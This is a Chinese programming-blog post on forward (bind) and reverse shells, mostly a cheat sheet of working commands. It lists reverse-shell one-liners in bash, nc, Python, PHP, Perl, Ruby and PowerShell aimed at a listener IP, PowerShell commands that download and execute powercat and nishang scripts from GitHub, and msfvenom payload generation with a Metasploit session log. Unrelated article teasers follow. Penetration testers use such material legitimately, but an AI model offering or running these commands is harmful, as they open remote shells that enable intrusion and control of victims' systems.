shell的正向和反向_正向shell和反向shell的区别-程序员宅基地

技术标签: 安全  渗透测试  

正向shell和反向shell
正向shell:控制端主动发起连接去连接被控制端
反向shell:被控制端主动连接控制端
在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,
比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。
反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。

反向shell如下

Linux常见反向shell
bash反弹shell

nc -lvp 4444
bash -i>& /dev/tcp/192.168.11.12/4444 0>&1

nc反弹shell

nc -lvp 4444   

nc 192.168.11.12 666 
/bin/bash |nc 192.168.11.12 666
nc 192.168.11.12 999 -e /bin/bash  Linux

python反弹shell

nc -lvp 9999 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.12",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP反弹shell

nc -lvp 6666
php -r '$sock=fsockopen("192.168.11.12",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反弹shell

perl -e 'use Socket; $i="192.168.11.12";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby反弹shell

nc -lvp 4444
ruby -rsocket -e'f=TCPSocket.open("192.168.11.12",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Windows反弹shell如下

powercat反弹shell
powercat(https://github.com/besimorhino/powercat )为Powershell版的Netcat,

nc -vlp 6666 
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.11.12 -p 6666 -e cmd

nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,
集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

nc -lvp 6666
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.11.12 -port 6666

自定义powershell函数反弹shell

nc -lvp 6666
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.11.12',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

正向shell如下
nc 正向shell

nc -lvp 8080 -e /bin/bash   
nc 192.168.11.11 8080	

msf木马正向shell

msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set lport  80
lport => 80
msf6 exploit(multi/handler) > set rhost 192.168.1.108
rhost => 192.168.1.108
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 192.168.1.108:80
[*] Sending stage (175174 bytes) to 192.168.1.108
[*] Meterpreter session 1 opened (192.168.11.12:33071 -> 192.168.1.108:80 ) at 2022-02-01 20:28:13 +0800

meterpreter > 



msf,payload模块
set payload windows/meterpreter/bind_tcp			正向
set payload windows/x64/meterpreter/reverse_tcp  	反向   
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_46258964/article/details/122789897

智能推荐

(11)结构型模式——享元-程序员宅基地

文章浏览阅读229次。结构型模式——享元(Flyweight)目录结构型模式——享元(Flyweight)问题背景解决方案效果缺陷相关模式实现问题背景当使用大量细粒度对象,需要提高系统性能时,考虑使用享元。现在我们要为一个RPG游戏设计装备系统,首先根据需求提取出装备类的属性,可能包括:标识符、名称、描述、装备类型、初始属性取值集合、穿戴条件、属性集合、耐久上限、当前耐久、最高强化等级、强化等级……我们会发现这些...

【KakaJSON手册】01_JSON转Model_01_基本用法-程序员宅基地

文章浏览阅读388次。在iOS开发中,后台返回的数据大多是JSON格式,对应地会被网络框架层解析成Swift中的Dictionary、Array。由于数据类型的复杂、字段的繁多,直接使用Dictionary、Array会比较麻烦,比如items[0]["user"]["name"]这样的使用方式,非常不友善,而且没有智能语法提示。所以很多时候会考虑将JSON转换成Model之后再进行操作,会友善很多,比如i..._kakajson

混合目标检测模块流程_byalarmjsonpictureseparate-程序员宅基地

文章浏览阅读591次。#include <stdio.h>#include <iostream>#include "Windows.h"#include "HCNetSDK.h"using namespace std;//时间解析宏定义#define GET_YEAR(_time_) (((_time_)>>26) + 2000) #define GET_MONTH(_time_) (((_time_)>>22) & 15)#defin._byalarmjsonpictureseparate

四年级计算机下册word教学设计,四年级下册信息技术教案.doc-程序员宅基地

文章浏览阅读199次。第1课?电子小报编辑部(二)江岸区三眼桥小学???教材选择:武汉版???四年级下册???第1课教学目标:1、继续了解运用WORD,熟悉其基本操作;2、通过自主学习,掌握制作电子板报各部分的基本方法,掌握页面、文本框的设置。3、学生分组协作学习,设计制作板报的版面。4、培养学生自主学习和合作学习的能力及探索新知的良好习惯,形成综合运用所学知识的能力。教学重点:能根据需要对自己的电子板报进行简单的排版..._随取随用云存储教案

stm32 以太网 LWIP TFTP IAP 远程升级_stm32f103 tftp iap-程序员宅基地

文章浏览阅读1.8w次,点赞7次,收藏74次。一.综述 本文是基于STM32F107的LWIP协议栈通过TFTP的文件传输协议进行IAP程序升级。本例采用的PHY层芯片是DP83848,相当于物理层,STM32F107自带的MAC层相当于数据链路层,而LWIP协议栈提供的就是网络层、传输层的功能,应用层是需要我们自己根据自己想要的功能去实现的。升级程序由bootloader和APP两部分组成。将stm32 flash划分为两个分区,bootl_stm32f103 tftp iap

用LiveWriter写的文章在个人空间的最新动态里没有显示_为什么csdn发了博客在动态里没有-程序员宅基地

文章浏览阅读704次。刚才发现用LiveWriter写的文章在个人空间的最新动态里没有显示。因为有2次在线写blog挂了重写的经历,所以改用LiveWriter离线写。现在看,离线写也不行啊,不在最新动态中显示,不便于博友之间的交流。希望CSDN能有所改进。_为什么csdn发了博客在动态里没有

随便推点

PHP $_FILES error码对应错误信息_php $_files error 5-程序员宅基地

文章浏览阅读2.1k次。0:上传成功1:上传文件超出php配置max_upload_filesize限制2:上传文件超出html表单限制3:文件只有部分被上传 4:没有上传文件6:没有找不到临时文件夹 7:文件写入失败(可能是文件权限不足)8:php文件上传扩展file没有打开_php $_files error 5

Android应用 手势密码的实现_android手势锁频界面应用-程序员宅基地

文章浏览阅读223次。http://blog.csdn.net/u013258802/article/details/52959513_android手势锁频界面应用

java断点续传的原理_java 断点为什么接口成功之后还会走-程序员宅基地

文章浏览阅读601次。转载,学习下:2008/05/06 11:33其实原理很简单,只是在 http 请求中加一个文件的偏移量而已,当然这还需要 server 支持这个头才行。 手头上刚好有一篇这样的文档。 (一)断点续传的原理 其实断点续传的原理很简单,就是在Http的请求上和一般的下载有所不同而已。 打个比方,浏览器请求服务器上的一个文时,所发_java 断点为什么接口成功之后还会走

servlet实现简单登录功能-基于测试驱动开发TDD_servlet测试登录-程序员宅基地

文章浏览阅读4.4k次,点赞8次,收藏3次。今天学习了测试驱动开发(TDD)模式,用这个方法写一个简单的前端登录功能(基于servlet&Jsp的登录功能-三层架构实现)不知道测试驱动开发,可以点这个:https://blog.csdn.net/qq_40542534/article/details/108473822编写service业务逻辑层的测试代码import org.junit.Test;public class UserServiceTest { //1、添加Junit测试 @Test pu_servlet测试登录

skynet mysql 携程_Skynet服务器框架(一) Linux下的安装和启动-程序员宅基地

文章浏览阅读249次。根据云风博客的描述,Skynet的核心功能就是解决一个问题:把一个符合规范的C模块,从动态库(so文件)中启动起来,绑定一个永不重复(即使模块退出)的数字id做为其handle。模块被称为服务(Service),服务间可以自由发送消息。每个模块可以向 Skynet 框架注册一个callback函数,用来接收发给它的消息;每个服务都是被一个个消息包驱动,当没有包到来的时候,..._skynet skynet.db.mysql 插入数据成功判定

Python演示SQLite数据库系统表sqlite_sequence的作用与操作-程序员宅基地

文章浏览阅读1.3k次。中国大学MOOC“Python程序设计基础”第5次开课推荐图书:《Python程序设计(第3版)》,(ISBN:978-7-302-55083-9),董付国,清华大学出版社,2020年6月..._sqlite_sequence